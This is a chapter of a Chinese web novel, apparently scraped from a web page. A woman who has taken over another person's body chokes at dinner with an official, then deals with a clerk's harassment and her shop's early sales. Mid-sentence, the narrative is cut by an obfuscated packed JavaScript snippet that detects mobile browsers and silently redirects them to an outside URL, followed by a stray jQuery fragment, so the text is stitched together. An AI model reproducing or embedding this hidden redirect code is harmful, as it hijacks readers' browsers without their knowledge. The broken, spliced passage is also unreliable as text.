赵意如刚才往汤里放了一勺店家自制的辣油,刚咽下了一口,第二口还含在嘴里,他的问题让赵意如毫无防备地呛了一下。
刹那间,辛辣的气息就霸道地窜进了气管,喉咙里像烧着一把火,她面色通红呼吸困难,下意识地猛烈咳嗽。
赵意如有一瞬间觉得自己要死了,她本能张大嘴巴,听见自己的呼吸声像在拉风箱。
看她呛得这么严重,徐照临赶紧起身给她拍背,懊恼自己一时嘴快,没有给她心里留足缓冲的余地。
赵意如攥住徐照临的一只手臂,身体因为惊慌倒靠在他的胸前,渐渐地她感觉自己不光是无法吸气,甚至连呼气都做不到。
她再次体验到了那晚在棺材里被人用绳索勒着地感觉,窒息让人绝望。
徐照临高声朝外面喊:“小二,快拿一壶凉水来。”
看着涕泪横流眼神迷离的赵意如,他赶紧引导:“快忍住咳嗽,用鼻子吸气。”
赵意如听了便极力忍耐住咳意,几秒后才觉得能从鼻子吸进一点气,这丝微弱的空气将她从濒死的状态中解救了出来。
店小二听见呼喊后立时送来了一壶冷水,见她满脸是泪形容狼狈,他“哎呦”一声:“这位娘子怎么了?”
徐照临无暇理会,只吐出两个字:“出去!”
那小二听他语气不善赶紧溜了。
徐照临倒了一碗冷水喂到她的嘴边:“慢慢地,小口小口的喝。”
冰凉的水冲刷着喉头,赵意如感觉舒服了片刻,但凉意过去后那种辛辣的气息又翻涌了上来,只能赶紧去喝第二口,第三口。
徐照临看她好受了一点,心中绷紧的弦也松弛了一些,说:“不要再喝了,现在漱口,吐掉,多漱几次,试着慢慢咳,把辣油从气管里咳出来。”
赵意如依言照做,漱了几次喉咙才轻轻咳了一下,仅这一下就又把她的眼泪逼了出来,这次不光是嗓子,连带耳根后面还有胸口都觉得火辣辣的疼。
徐照临从袖中摸出自己的帕子递过去:“干净的。”
赵意如没接,自己抬起袖子不顾形象地胡乱擦了擦,继续尝试轻咳,反复了几次以后才得以顺利呼吸。
她缓了好久,徐照临也跟着沉默了好久。
“我···”赵意如想说话,发觉自己一张嘴嗓子和胸口齐齐发痛。
“暂时不要说话。”徐照临面带愧意地看着她:“抱歉,是我刚才的话吓到你了,我是有些事情想问你,但我没有恶意,也不是要探究你的私事。”
“我身上发生了一些奇怪的事情,你可能知道答案,但这件事不着急,我们以后再聊。”
她的反应如此剧烈,真相也必定不凡,,徐照临觉得自己可以等,总会等到她甘愿说的那天。
赵意如思绪乱飞,不明白自己何处露了马脚,让徐照临看出她不是“本地人”的。
难道他认识虚云法师,是从他那听来的?他身上到底发生了什么与自己相关的奇怪事情,为什么笃定她这里有答案?
赵意如有一肚子的疑惑,但她不能问,在她自己没准备好坦白点什么之前,她什么都不能问,今日这一呛福祸相依,反而给她留足了反应的时间。
“我送你去医馆看看,好吗?”
赵意如摇摇头,这种呛咳曾经发生过,缓解过来以后就没有大碍,只是这次比较严重,恢复的时间可能要久一点。
她还有事情没办完,周家两个兄长送完人,赵意如就让他们先回了店里,周爹爹他们怕还在提心吊胆地等着自己。
“那我送你回一品酥行吗?”
赵意如用气声缓缓问:“县衙那里怎么办?”
徐照临再次承诺:“交给我,事情我来处理,你回去安心休息。”
“好”。赵意如小声蹦出一个字。
徐照临看她衣衫凌乱,满面泪痕,于是把帕子又放在桌子上,起身把空间留给她,自己守在门外。
赵意如赶忙往帕子上倒了些水擦干净脸,然后拔下簪子重新固定住发髻,最后整理好衣裙才走出去。
徐照临付了饭钱,赵意如没跟她抢,今天这顿饭要是她付了,她觉得徐照临今晚更要为自己的唐突而失眠。
赵意如今日在心里给徐照临下了判断,这人修养极好,是个端方持重的君子。
到了马车前,时安一脸疑惑地盯着二人看了看,不明白为什么赵娘子眼睛和鼻子通红,也不明白为什么自家大人胸口湿了一片。
他跟车夫一起坐在车辕上,半晌才反应过来什么,难以置信地张大了嘴,迎面呛了一口冰凉的西北风。
时安顾不上咳嗽,心里兴奋地呐喊:不得了,他家大人终于开窍了!
咦,好像不对,谁家郎君开窍了还会把姑娘惹哭,但是他家大人又不会允许自己不喜欢的姑娘趴在自己怀里哭。
时安被凌乱的风吹的头好疼。
到了一品酥后,王氏照面就看出她哭过了,以为事情没处理好,忙安慰:“不怕不怕,这店不开就不开了,你阿爹养活得起你们姊妹。”
这句话让赵意如的眼泪又流了下来。
三个多月以来,王氏和周爹爹极大地安抚了初来乍到的自己,让她在这个陌生地时代有了一丝归属感。
但虚云大师和徐照临连番提醒她本不属于这里,她忽然有些委屈和愧疚,这么好的爹娘她是占了别人的。
那个原来的赵三娘,她去了哪里?
赵意如占着别人的躯壳,享受了本该属于别人的亲情,不管是王氏一家还是张元清,关心的始终是赵三娘,不是她这个鸠占鹊巢者。
徐照临被她哭得再次手足无措,他拿不出第二方绢帕给她拭泪。
周爹爹看赵意如这样子,只能去问徐照临:“大人,不知事情怎么说了?”
徐照临:“那几人在衙门受审,已经供出主使,事情很快就能解决。”
说着他看了一眼赵意如,跟王氏道:“这位阿婶,赵娘子刚才吃饭时被辣子呛到,劳您给她做些温软的粥食吧”
王氏一听,拍着赵意如肩膀的手一顿,哦,是呛到了啊,可吓死她了!
不过呛到也很危险,上次她卡了喉咙,拼命捶胸才把那粒花生捶了出来,差一点就见阎王了。
怪不得三娘哭得这么伤心,原来是吓得。
“不哭不哭,走,去里面歇着,阿娘这就去给你煮粥。”
情绪过去以后,赵意如又觉得自己太矫情,于是难为情地跟着王氏走了,招呼都没跟徐照临打一个,她暂时不想面对这人。
让她心情好受些的是,上午闹得那一出不仅没有影响生意。
反而因为她处事镇定自若又慷慨真诚,再加上米薇在店外舞不停,使得店里人气和销量都有明显的提升。
周稚芸在后厨忙得几乎忘了时辰,看见赵意如回来了赶紧问:“阿姐,没事了吧。”
徐照临的承诺应该是可靠的,赵意如点点头:“基本没事了。”
那三个市吏怎么处置赵意如不在意,只要别再来找自己的麻烦,赵意如也愿意退一步不去追究。
她脑中想起高晟,如果这人铁了心要折腾自己,她又要如何呢?赵意如晃晃脑袋,把焦虑从脑中晃出去。
高晟丝毫不知自己在赵意如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348199|194353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心中已经罪恶到与蛇蝎一类,他独自在县衙附近转了转,觉得无趣也策马离开了。
下午上衙的时辰一到,徐照临准时出现在县衙里,崔县令看他盯得这样紧,也不敢耽搁,麻利地把案子审完了。
那个文书到案之后十分镇定,坚决否认了自己教唆他们去一品酥找麻烦的事情:“这三人都是新来的,规矩没学好,胆子也忒大,竟敢打着市署的名义欺压商户!”
他还把留档的文书和新的回执也带了过来:“大人你看,这是存档,这些恶吏纯粹就是狐假虎威,想骗骗无知商户罢了!”
吴元魁身上的锅这回扣的死死的,他再想喊冤也百口莫辩。
徐照临拿到还有墨香的文书时,明白是高晟选择了退一步,倒免了他再费神。
“把这个送到一品酥,另外……”
时安:“郎君还有什么要吩咐的么?”
徐照临默了默摆摆手:“没了,你去吧。”
时安把那文书赶紧送到一品酥交给赵意如,这张轻飘飘的纸让店中人的心立时安定了下来。
今天卖光了东西早早打烊,大家都有些累,回到家中赵意如喝了碗稀粥就洗漱睡下了。
很快,一品酥开业的前三日已过,清点完这三日的流水,单日约有四五千文的进账,看起来十分可观。
但这因为抽奖和路演活动吸引来的人气,会在第四日骤减,她需要做好销量急剧下降的心理准备。
赵意如数了几串钱给王氏:“阿娘,这是给二哥还有四哥四嫂的工钱。”
这是提早就说好的事情,王氏没有推脱,替儿子们收下了。
赵意如又拿出两套冬衣:“这是孝敬二老的两套衣衫,是铺子里买的现成的,哪里不合适您自个儿动手改一改。”
三娘这孩子太过仁义,别人对她一分好,她恨不得还上三分,叫人怎么不疼惜她!王氏心里感动:
“今次我替你阿爹谢谢你的孝心,下次不要这样,我们认下你做女儿,不是希图你的回报,是因为你本就是个招人疼的孩子。以后不要动不动就想着给我们买东西,自个儿攒起来当嫁妆。”
赵意如点头笑了笑,又说:“我还有个事情想先问问阿娘意见,我看二哥现在在家没什么事做,你问问他愿不愿意跟在我身边。”
“不用他天天点卯,我要出门他跟着就行,每次都算一日的工钱,三十文可行?记好天数,工钱月结。”
古代的商业环境有其局限性,她不能坐等生意上门,得主动出去把能占到市场份额先占下来。
这是拓展生意的关键时刻,接下来的日子赵意如会针对性的出去跑市场,身边若没有男子相伴太危险。
周二哥这人沉稳少言,但身强体壮,他两个孩子年纪大了些,周二嫂一人就能把家务操持好,他能随叫随到,不比四哥总是牵挂妻儿。
王氏:“要什么工钱,有事你只管差遣你二哥就是!”
赵意如把自己的想法说了:“我三两日就得出去一回,一次两次的我就厚着脸皮请二哥帮忙了,但总不能长久地麻烦他。”
王氏:“他跟着也不过就是帮你赶个车,轻松地跟玩儿一样!要不了这么多工钱,这样吧,一日给他算十文钱,再多就不叫他去了!”
老二在家一天也是白瞎,出去一趟就挣下三五日的口粮,已经足够了!
赵意如又添了些:“十文太少,二十文吧,阿娘不要再推拒了。”
“你这孩子,让我说你什么好,把你五哥拉拔起来了不说,如今还想着你二哥!”
赵意如没想到,第一次带周二郎出去,就遇到了事情。